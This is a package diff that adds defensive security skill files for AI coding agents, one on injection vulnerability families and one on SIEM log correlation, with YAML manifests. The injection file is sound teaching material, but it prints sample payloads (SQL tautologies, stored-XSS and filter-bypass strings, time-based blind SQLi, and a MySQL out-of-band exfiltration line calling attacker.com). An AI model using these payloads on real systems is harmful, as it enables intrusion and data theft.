@harness-engineering/cli 1.23.2 → 1.24.1

package/dist/agents/skills/claude-code/security-injection-families/SKILL.md

@@ -0,0 +1,235 @@
+# Injection Families
+
+> Every injection vulnerability has the same root cause: untrusted data is interpreted as
+> code because the boundary between data and instructions was not enforced -- fix the
+> boundary, fix the bug
+
+## When to Use
+
+- Reviewing code that constructs queries, commands, or markup from user input
+- Designing input handling for a new application or API endpoint
+- Understanding the relationship between SQL injection, XSS, command injection, and other
+  injection types
+- Training developers on secure coding fundamentals
+- Evaluating whether a framework's built-in protections are sufficient
+- Auditing code for injection surfaces across the technology stack
+
+## Threat Context
+
+Injection has been in the OWASP Top 10 since its inception and remains OWASP A03:2021.
+Despite being well-understood for 25+ years, injection remains prevalent because the root
+cause -- mixing code and data -- recurs in every new technology layer:
+
+- **Heartland Payment Systems (2008)**: SQL injection compromised 130 million credit card
+  numbers. The largest payment card breach at the time.
+- **Sony Pictures (2011)**: SQL injection in the Sony Pictures website exposed 1 million
+  user accounts including plaintext passwords.
+- **TalkTalk (2015)**: SQL injection by a teenager compromised 157,000 customer records
+  including bank account details and sort codes. TalkTalk was fined 400,000 GBP by the ICO.
+- **MOVEit Transfer (2023, CVE-2023-34362)**: SQL injection in Progress Software's MOVEit
+  file transfer product was exploited by the Cl0p ransomware group. The breach affected
+  2,500+ organizations and 65+ million individuals across government, healthcare, finance,
+  and education sectors. The vulnerability was a straightforward SQL injection in a
+  web-facing component -- a bug class first documented in 1998.
+- **Equifax (2017)**: While technically an Apache Struts deserialization vulnerability (a
+  close cousin of injection), the breach exposed 147 million Americans' personal data and
+  demonstrated that input interpretation bugs in any technology layer can be catastrophic.
+
+The pattern repeats because every new technology introduces a new interpreter: SQL databases,
+NoSQL databases, shell environments, browsers (JavaScript/HTML), template engines, LDAP
+directories, GraphQL resolvers, expression language engines, XML parsers. Each interpreter is
+a potential injection target when it processes untrusted data as instructions.
+
+## Instructions
+
+1. **Understand the universal injection pattern.** Every injection vulnerability follows the
+   same three-step structure regardless of the specific technology:
+   - (a) The application constructs an instruction by concatenating trusted code with
+     untrusted data. Example: `"SELECT * FROM users WHERE name = '" + userInput + "'"`.
+   - (b) The instruction is sent to an interpreter (database engine, shell, browser, LDAP
+     server, template engine) that cannot distinguish which parts are code and which are
+     data.
+   - (c) Attacker-supplied data contains interpreter syntax (e.g., `' OR 1=1 --`) that
+     alters the intended behavior of the instruction, transforming a data lookup into a data
+     dump.
+
+   This pattern is identical across SQL injection, command injection, XSS, LDAP injection,
+   template injection, and every other injection variant. The technology changes; the pattern
+   does not.
+
+2. **Apply the universal fix: structurally enforce the code/data boundary.** The correct
+   defense uses mechanisms that separate data from instructions at the protocol level, making
+   injection structurally impossible:
+   - **SQL injection -- parameterized queries**: `SELECT * FROM users WHERE id = ?` with the
+     value passed as a separate parameter. The database engine receives the query structure
+     and the data value through separate channels. The parameter is never parsed as SQL
+     syntax, regardless of its content. This is not escaping -- it is structural separation.
+   - **XSS -- context-aware output encoding**: HTML-encode (`<`, `&`, `"`) when
+     inserting data into HTML content. Attribute-encode when inserting into HTML attributes.
+     JavaScript-encode when inserting into JavaScript string contexts. URL-encode when
+     inserting into URL parameters. The browser renders the encoded data as text, never as
+     markup or script. The encoding must match the output context -- HTML encoding inside a
+     JavaScript string context does not prevent XSS.
+   - **Command injection -- avoid shell execution entirely**: Use language APIs that do not
+     invoke a shell: `child_process.execFile` (Node.js) with an argument array,
+     `subprocess.run` (Python) with a list argument and `shell=False`, `ProcessBuilder`
+     (Java). These pass arguments directly to the OS exec syscall, bypassing the shell
+     interpreter. If shell invocation is truly unavoidable (it rarely is), use the
+     language's shell escaping function and validate input against a strict allowlist.
+   - **LDAP injection -- parameterized LDAP queries**: Use the LDAP library's filter
+     construction API with proper value escaping. Escape special characters (`*`, `(`, `)`,
+     `\`, NUL) in filter values per RFC 4515.
+   - **Template injection (SSTI) -- sandboxed template engines**: Use logic-less templates
+     (Mustache, Handlebars) that do not evaluate arbitrary expressions. If using a full
+     template engine (Jinja2, Twig, Freemarker), enable sandbox mode to restrict access to
+     dangerous classes and methods. Never pass user input as a template string -- pass it as
+     a template variable.
+   - **Header injection (CRLF) -- strict input validation**: Reject any input containing
+     carriage return (`\r`) or line feed (`\n`) characters before inserting into HTTP
+     headers, email headers, or log entries. These characters create new headers or log
+     lines, enabling response splitting and log injection.
+
+3. **Apply input validation as defense-in-depth, never as the primary fix.** Allowlist
+   validation (e.g., "this field must be a positive integer," "this field must match
+   `[a-zA-Z0-9_]{1,50}`") rejects many injection payloads and is valuable as a supporting
+   defense. Blocklist validation ("reject input containing `DROP TABLE`, `UNION SELECT`,
+   `<script>`") is always bypassable through encoding, case variation, comment insertion,
+   Unicode normalization, and dozens of other techniques. Parameterization is the primary fix
+   that eliminates the vulnerability. Validation is a secondary layer that reduces the attack
+   surface. A system with both is stronger than either alone.
+
+4. **Map injection surfaces in your technology stack.** For each technology layer in your
+   application, answer three questions: What interpreter processes the data? Can user input
+   reach that interpreter? Is the input parameterized or concatenated? Common injection
+   surfaces:
+   - **SQL databases**: Any raw query construction (even within an ORM's escape hatch)
+   - **NoSQL databases**: MongoDB `$where` clauses, operator injection (`$gt`, `$ne`),
+     aggregation pipelines with user input
+   - **Operating system shells**: `exec()`, `system()`, backtick execution, `os.popen()`
+   - **Browser rendering engine**: DOM manipulation with user content, `innerHTML`,
+     `document.write()`, unescaped template bindings
+   - **Email headers**: User-controlled values in From, To, Subject, or custom headers
+   - **HTTP response headers**: User input reflected in `Set-Cookie`, `Location`, or custom
+     headers
+   - **Template engines**: User input passed as template source rather than template variable
+   - **XML parsers**: External entity processing (XXE) enabling file read and SSRF
+   - **LDAP directories**: User input in LDAP filter construction
+   - **GraphQL resolvers**: User input in dynamically constructed resolver logic
+   - **Regular expression engines**: User-controlled regex patterns enabling ReDoS
+     (catastrophic backtracking)
+
+5. **Use framework-provided protections and audit every bypass.** Modern frameworks
+   parameterize by default: ORMs (ActiveRecord, SQLAlchemy, Prisma, Entity Framework)
+   generate parameterized SQL for standard CRUD operations. React escapes JSX content by
+   default, preventing XSS. Angular sanitizes template bindings. Django's template engine
+   auto-escapes HTML. The vulnerability occurs when developers bypass these protections: raw
+   SQL queries in the ORM (`Model.objects.raw()`, `sequelize.query()`),
+   `dangerouslySetInnerHTML` in React, `[innerHTML]` binding in Angular, `|safe` filter in
+   Django templates, template literal composition in template engines. Every bypass in the
+   codebase is a potential injection point. Audit them all. Require code review approval for
+   any new bypass with a documented security justification.
+
+## Details
+
+- **The complete injection family taxonomy**: SQL injection (interpreter: SQL engine), NoSQL
+  injection (interpreter: document store query engine), Command injection / OS injection
+  (interpreter: shell -- bash, cmd.exe, PowerShell), Cross-site scripting / XSS
+  (interpreter: browser rendering engine), Server-side template injection / SSTI
+  (interpreter: template engine -- Jinja2, Twig, Freemarker, Velocity), LDAP injection
+  (interpreter: LDAP directory server), XPath injection (interpreter: XML query engine),
+  Header injection / CRLF injection (interpreter: HTTP parser, email parser), Expression
+  Language injection / EL injection (interpreter: Java EL engine, Spring SpEL), GraphQL
+  injection (interpreter: GraphQL resolver), XML External Entity injection / XXE
+  (interpreter: XML parser), ReDoS / Regular Expression Denial of Service (interpreter:
+  regex engine). Every entry in this list shares the same root cause: untrusted data
+  interpreted as instructions by a processing engine.
+
+- **Second-order injection -- the delayed-execution variant**: Data is stored safely (via
+  parameterized query) but later retrieved and used unsafely in a different context. Example:
+  a user registers with username `<img src=x onerror=alert(1)>`. The registration query is
+  parameterized, so no SQL injection occurs during storage. Later, an admin dashboard
+  retrieves the username and inserts it into an HTML page without encoding. The stored XSS
+  payload executes in the admin's browser. Another example: a value stored in the database
+  is later concatenated into a shell command by a background job. Defense: every output
+  context requires its own encoding or parameterization, regardless of how the data was
+  stored. Trust no data, even from your own database.
+
+- **Blind injection and out-of-band exfiltration**: When the application does not return the
+  injected query's results directly (no error messages, no visible output differences),
+  attackers use blind techniques: (a) Boolean-based blind: inject conditions that change the
+  response (e.g., `' AND 1=1 --` vs `' AND 1=2 --`) and observe response differences
+  (content length, HTTP status, timing). (b) Time-based blind: inject `SLEEP(5)` or
+  `WAITFOR DELAY '0:0:5'` and measure response time to extract data one bit at a time.
+  (c) Out-of-band: force the database to make DNS lookups or HTTP requests to an
+  attacker-controlled server, carrying exfiltrated data in the request (e.g.,
+  `LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a'))` in MySQL). Parameterization
+  prevents all blind and out-of-band techniques because the payload is never interpreted as
+  code.
+
+- **The defense-in-depth stack for injection**: Layer 1 -- Parameterization: eliminates the
+  vulnerability at the source by separating code from data. Layer 2 -- Input validation:
+  rejects obviously malicious or unexpected input before it reaches the interpreter. Layer 3
+  -- Web Application Firewall (WAF): catches common attack patterns at the network edge, but
+  is always bypassable by a determined attacker and should never be the sole defense. Layer
+  4 -- Least-privilege database accounts: limits the damage if injection occurs (a read-only
+  account cannot `DROP TABLE`). Layer 5 -- Error handling: never expose SQL errors, stack
+  traces, database versions, or internal table/column names to the user -- these accelerate
+  exploitation. All five layers should be present; none is sufficient alone except
+  parameterization, which is necessary and often sufficient for a specific injection point.
+
+## Anti-Patterns
+
+1. **String concatenation for query or command construction.**
+   `query = "SELECT * FROM users WHERE name = '" + name + "'"` is the canonical injection
+   vulnerability. `os.system("convert " + filename + " output.png")` is command injection.
+   `html = "<div>" + userComment + "</div>"` is XSS. In every case, the fix is the same: use
+   the parameterized/encoded equivalent provided by the language or framework. There is no
+   legitimate reason to concatenate untrusted input into an interpreter instruction in
+   modern code.
+
+2. **Blocklist-based input validation as the sole defense.** Filtering `DROP TABLE`,
+   `UNION SELECT`, `<script>`, `../` from input. Attackers bypass blocklists with: case
+   variation (`dRoP tAbLe`), encoding (`%3Cscript%3E`, Unicode normalization), comment
+   insertion (`DR/**/OP`), alternative syntax (`<img/src=x onerror=alert(1)>`), and
+   technology-specific tricks that grow with every new interpreter version. Blocklists never
+   cover all attack vectors. Parameterization does.
+
+3. **"We use an ORM, so SQL injection is impossible."** ORMs generate parameterized queries
+   for standard operations (find, create, update, delete). But every ORM provides an escape
+   hatch for raw SQL: `ActiveRecord.connection.execute()`, `sequelize.query()`,
+   `EntityManager.createNativeQuery()`, `db.raw()` in Knex. Developers under deadline
+   pressure use raw queries with string concatenation. A single raw query bypass is enough
+   for a complete database compromise. Audit every raw query invocation in the codebase and
+   require security review for new ones.
+
+4. **Trusting data from "internal" sources.** Data from internal APIs, message queues,
+   databases, or partner systems still requires parameterization when used in an interpreter
+   context. If Service A stores user input in a database and Service B reads it and
+   concatenates it into a shell command, Service B has a command injection vulnerability
+   regardless of Service A's input validation. The trust boundary is at the interpreter, not
+   at the data source. Every interpreter invocation with non-constant data requires
+   parameterization.
+
+5. **Client-side validation as a security control.** JavaScript validation in the browser is
+   a user experience feature, not a security control. Attackers bypass client-side validation
+   trivially: curl, Postman, browser developer tools, proxy tools (Burp Suite), or simply
+   disabling JavaScript. All input validation must be enforced server-side. Client-side
+   validation improves UX by providing immediate feedback; server-side validation enforces
+   security.
+
+6. **Assuming encoding is universal across contexts.** HTML-encoding user input and inserting
+   it into a JavaScript string context does not prevent XSS. URL-encoding and inserting into
+   an HTML attribute does not prevent XSS. Each output context has its own encoding
+   requirements: HTML content, HTML attributes, JavaScript strings, CSS values, URL
+   parameters, and JSON responses each require different encoding functions. Using the wrong
+   encoding for the context provides a false sense of security while leaving the injection
+   viable.
+
+7. **Relying on a WAF to prevent injection.** WAFs (ModSecurity, AWS WAF, Cloudflare)
+   provide useful defense-in-depth by blocking known attack patterns at the network edge. But
+   WAFs operate on pattern matching of HTTP requests -- they cannot understand application
+   semantics. Sophisticated attackers bypass WAFs through encoding, chunked requests,
+   parameter pollution, and application-specific payload construction. A WAF that blocks
+   `UNION SELECT` does not block the same payload split across two HTTP parameters that the
+   application concatenates server-side. Fix the vulnerability in the code; use the WAF as
+   an additional layer, not a substitute.

package/dist/agents/skills/claude-code/security-injection-families/skill.yaml

@@ -0,0 +1,41 @@
+name: security-injection-families
+version: "1.0.0"
+description: Unified mental model for injection vulnerabilities -- SQL, command, LDAP, XSS, template, header -- all share the same root cause of mixing code and data
+stability: static
+cognitive_mode: advisory-guide
+type: knowledge
+tier: 3
+triggers:
+  - manual
+platforms:
+  - claude-code
+  - gemini-cli
+  - cursor
+  - codex
+tools: []
+paths: []
+related_skills:
+  - security-memory-safety
+  - security-deserialization-attacks
+  - security-trust-boundaries
+  - owasp-injection-prevention
+  - owasp-xss-prevention
+  - owasp-security-headers
+stack_signals: []
+keywords:
+  - injection
+  - SQL injection
+  - command injection
+  - XSS
+  - cross-site scripting
+  - LDAP injection
+  - template injection
+  - header injection
+  - code and data separation
+  - parameterized queries
+metadata:
+  author: community
+state:
+  persistent: false
+  files: []
+depends_on: []

package/dist/agents/skills/claude-code/security-log-correlation/SKILL.md

@@ -0,0 +1,178 @@
+# Log Correlation and SIEM
+
+> Correlate events across multiple log sources to detect attacks that are invisible in any
+> single log stream -- because attackers do not confine their activities to one system
+
+## When to Use
+
+- Designing or deploying a SIEM (Security Information and Event Management) system
+- Building correlation rules to detect multi-stage attacks across distributed systems
+- Suffering from alert fatigue and need to tune detection rules and triage workflows
+- Integrating application logs, authentication logs, network logs, and cloud audit logs into a
+  unified detection platform
+- Meeting compliance requirements for centralized security monitoring (SOC2, PCI-DSS, HIPAA)
+- Establishing a detection engineering practice aligned with MITRE ATT&CK
+
+## Threat Context
+
+Modern attacks span multiple systems: an attacker phishes credentials (email logs), logs in from
+an anomalous location (authentication logs), escalates privileges (directory service logs),
+accesses sensitive data (application logs), and exfiltrates it (network flow logs). Each
+individual event may appear benign in isolation. A login from a new country is unusual but not
+necessarily malicious. A large data download might be a legitimate export. An admin privilege
+grant could be a routine onboarding. Only by correlating events across sources does the attack
+pattern emerge: new-location login -> privilege escalation -> bulk data access -> outbound data
+transfer = likely account compromise and data exfiltration.
+
+The 2020 SolarWinds SUNBURST attack evaded detection for 9+ months because the attackers
+specifically designed their activity to blend into normal operations. They used legitimate
+credentials, operated during business hours, and limited the volume of their data exfiltration.
+Detection required correlating anomalous DNS queries to unusual API access patterns to
+unexpected cloud configuration changes -- a correlation that most organizations' monitoring
+infrastructure was not configured to perform.
+
+The IBM/Ponemon 2023 Cost of a Data Breach Report found that organizations with security AI and
+automation (which depends on correlated, structured log data) identified and contained breaches
+108 days faster than those without, saving an average of $1.76 million per breach. The detection
+gap is not a data problem -- organizations collect massive volumes of logs -- it is a correlation
+and analysis problem.
+
+## Instructions
+
+1. **Identify and onboard critical log sources.** Prioritize log sources by detection value:
+   authentication systems (Active Directory, Okta, Auth0 -- login success, failure, MFA events),
+   cloud audit logs (AWS CloudTrail, GCP Cloud Audit Logs, Azure Activity Log -- API calls,
+   configuration changes, resource access), application audit logs (business logic events,
+   data access, administrative actions), network flow logs (VPC Flow Logs, firewall logs --
+   lateral movement, data exfiltration indicators), DNS logs (query logs reveal C2
+   communication, data exfiltration via DNS tunneling, domain generation algorithm activity),
+   and endpoint detection (EDR telemetry -- process execution, file access, registry changes).
+   Start with authentication and cloud audit logs -- they provide the highest detection value
+   per integration effort.
+
+2. **Normalize log formats into a common schema.** Logs from different sources use different
+   field names, timestamp formats, and structures. Normalize all ingested logs to a common
+   schema so that correlation rules can reference consistent field names. Common schemas:
+   Elastic Common Schema (ECS), Open Cybersecurity Schema Framework (OCSF), MITRE CAR
+   (Cyber Analytics Repository). At minimum, normalize: timestamp (UTC ISO 8601), source IP,
+   destination IP, user identity, action performed, outcome (success/failure), and resource
+   accessed. Without normalization, every correlation rule must account for format differences
+   across sources.
+
+3. **Build correlation rules for known attack patterns.** Start with high-confidence, low-volume
+   detections: account compromise indicators (failed login followed by successful login from a
+   different IP within 10 minutes), impossible travel (successful logins from geographically
+   distant locations within an impossible time window), brute force (more than N failed logins
+   against a single account within M minutes), privilege escalation (admin role granted followed
+   by unusual resource access), and lateral movement (authentication from an internal IP that
+   has never accessed that service before, especially after an initial compromise indicator).
+   Each rule should have a documented rationale, expected false-positive rate, and a runbook.
+
+4. **Align detections with MITRE ATT&CK.** Map each detection rule to a MITRE ATT&CK technique
+   (e.g., brute force detection maps to T1110, impossible travel maps to T1078.004). This
+   provides coverage visibility: which ATT&CK techniques do your detections cover, and which
+   are gaps? Use the ATT&CK Navigator to visualize coverage. Prioritize detections for
+   techniques used by threat actors relevant to your industry (use MITRE ATT&CK Groups and
+   Software databases). Detection engineering is not about covering every technique -- it is
+   about covering the techniques most likely to be used against your specific organization.
+
+5. **Use Sigma rules for portable detection logic.** Sigma is an open standard for writing
+   detection rules in a SIEM-agnostic YAML format. A single Sigma rule can be converted to
+   Splunk SPL, Elastic KQL, Microsoft Sentinel KQL, CrowdStrike, and other SIEM query
+   languages using the `sigma-cli` converter. Benefits: share detection rules across
+   organizations, leverage the community Sigma rule repository (thousands of rules covering
+   common attack techniques), write rules once and deploy to any SIEM. Store custom Sigma rules
+   in version control and treat them as code with review, testing, and deployment processes.
+
+6. **Manage alert fatigue systematically.** Alert fatigue is the primary failure mode of SIEM
+   deployments. When analysts receive more than 50-100 alerts per day, they begin ignoring
+   alerts, missing real incidents among the noise. Management strategies: severity
+   classification (critical alerts page on-call, high alerts go to the queue, medium alerts
+   go to a daily review batch, low alerts are logged but not alerted), progressive escalation
+   (first occurrence goes to Slack, repeated pattern pages), tuning cadence (review the
+   top 10 noisiest rules monthly, disable or refine rules with false-positive rates above 90%),
+   and alert-to-incident ratio tracking (target at least 1 true positive per 10 alerts;
+   below 1:100 means the rule is noise).
+
+7. **Attach runbooks to every alert.** Every alert that fires should include a link to a runbook
+   that tells the analyst: what this alert means, what to investigate first (specific queries,
+   dashboards, or data to check), how to determine if it is a true positive, what the
+   escalation path is if confirmed, and what the containment actions are. Alerts without
+   runbooks force analysts to investigate from scratch every time, increasing response time
+   and analyst burnout. Runbooks should be living documents updated after every investigation.
+
+## Details
+
+- **SIEM architecture components**: Collection layer (Fluentd, Filebeat, Logstash, cloud-native
+  log forwarders -- collect logs from sources and forward to the SIEM), normalization layer
+  (parse raw logs into structured fields using the common schema), storage layer (hot storage
+  for recent logs with fast query performance, warm storage for older logs with slower queries,
+  cold storage for archive and compliance), correlation engine (evaluates rules against incoming
+  events in real time or near-real-time), alerting layer (routes triggered rules to notification
+  channels with severity-based routing), and investigation layer (search interface, dashboards,
+  and forensic tools for analyst investigation).
+
+- **SIEM tool landscape**: Splunk (market leader, powerful SPL query language, expensive at
+  scale), Elastic SIEM (open-source core, ECS normalization, good for organizations with
+  existing Elasticsearch investment), Microsoft Sentinel (cloud-native, strong Azure and M365
+  integration, KQL query language), CrowdStrike Falcon LogScale (high-ingestion performance,
+  integrated with CrowdStrike EDR), Wazuh (open-source, combined SIEM and endpoint detection),
+  Security Onion (open-source, combines multiple tools for network security monitoring). Choice
+  depends on: budget, existing infrastructure, log volume, team expertise, and integration
+  requirements.
+
+- **Detection engineering as a practice**: Detection engineering treats detection rules as
+  software: version-controlled, tested, reviewed, and deployed through a CI/CD pipeline. Each
+  detection has: a hypothesis (what attack behavior it detects), a rule (the query logic),
+  test data (synthetic events that should and should not trigger the rule), a tuning history
+  (false-positive analysis and adjustments), and performance metrics (true positive rate,
+  mean time to detect, analyst feedback). The Palantir Detection-as-Code framework and
+  Florian Roth's Sigma project are leading examples of this practice.
+
+- **Correlation rule complexity levels**: Level 1 -- single-source, single-event (failed login
+  count > threshold). Level 2 -- single-source, multi-event (failed logins followed by
+  successful login). Level 3 -- multi-source, multi-event (authentication anomaly + privilege
+  change + data access). Level 4 -- behavioral baseline deviation (user accessing resources
+  they have never accessed before, at unusual times, in unusual volumes). Start with Level 1
+  and 2 rules, which are easier to implement and tune. Level 3 and 4 require more mature log
+  ingestion and normalization.
+
+## Anti-Patterns
+
+1. **Collecting logs without correlation rules -- a data lake, not a SIEM.** Ingesting terabytes
+   of logs into a central store without writing detection rules means you have an expensive
+   log archive, not a security monitoring capability. Logs provide detection value only when
+   correlation rules actively analyze them. Start with 10-20 high-confidence detection rules
+   rather than attempting to ingest every possible log source first.
+
+2. **Alert storms from untuned rules.** Deploying default detection rules without tuning for
+   the environment generates hundreds or thousands of alerts daily. Analysts quickly learn to
+   ignore the SIEM, and real incidents are buried in noise. Research consistently shows that
+   more than 100 alerts per analyst per day leads to alert fatigue and missed detections. Start
+   with a small set of tuned, high-confidence rules and expand gradually.
+
+3. **SIEM as a compliance checkbox without active monitoring.** Deploying a SIEM to satisfy
+   SOC2 or PCI-DSS audit requirements but assigning no one to monitor it. Alerts fire into an
+   unmonitored inbox. The SIEM provides forensic value (logs are available for post-incident
+   investigation) but zero detection value. A SIEM without dedicated analysts or an MSSP
+   (Managed Security Service Provider) monitoring it is a waste of the investment.
+
+4. **No runbooks attached to alerts.** Alerts that provide a title and a severity but no
+   investigation guidance. The analyst receives "Impossible Travel Detected -- High" and must
+   figure out from scratch what to check, where to look, and how to determine if it is real.
+   Every alert must link to a runbook with specific investigation steps, escalation criteria,
+   and containment actions.
+
+5. **Alerting on everything instead of known attack patterns.** Attempting to detect every
+   possible anomaly rather than focusing on known attack patterns mapped to MITRE ATT&CK.
+   Generic anomaly detection produces enormous volumes of alerts with low signal-to-noise ratio.
+   Start with detections for specific, known attack techniques relevant to your threat model,
+   and expand coverage based on threat intelligence and incident learnings.
+
+6. **No feedback loop from investigations to rule tuning.** Analysts investigate alerts, resolve
+   them, and move on without feeding their findings back to the detection engineering team.
+   Each investigation should produce one of: a confirmed true positive (document the attack
+   pattern for training), a false positive (tune the rule to exclude this pattern), or a
+   detection gap (the alert fired for the wrong reason, but the investigation revealed a real
+   issue that needs a new detection rule). Without this feedback loop, detection quality
+   stagnates.

package/dist/agents/skills/claude-code/security-log-correlation/skill.yaml

@@ -0,0 +1,39 @@
+name: security-log-correlation
+version: '1.0.0'
+description: SIEM architecture, correlation rules, alert fatigue management, and turning raw logs into actionable security intelligence
+stability: static
+cognitive_mode: advisory-guide
+type: knowledge
+tier: 3
+triggers:
+  - manual
+platforms:
+  - claude-code
+  - gemini-cli
+  - cursor
+  - codex
+tools: []
+paths: []
+related_skills:
+  - security-audit-log-design
+  - security-compliance-logging
+  - security-incident-containment
+  - owasp-logging-monitoring
+stack_signals: []
+keywords:
+  - SIEM
+  - log correlation
+  - security monitoring
+  - alert fatigue
+  - correlation rules
+  - detection engineering
+  - Sigma rules
+  - threat detection
+  - security operations
+  - SOC
+metadata:
+  author: community
+state:
+  persistent: false
+  files: []
+depends_on: []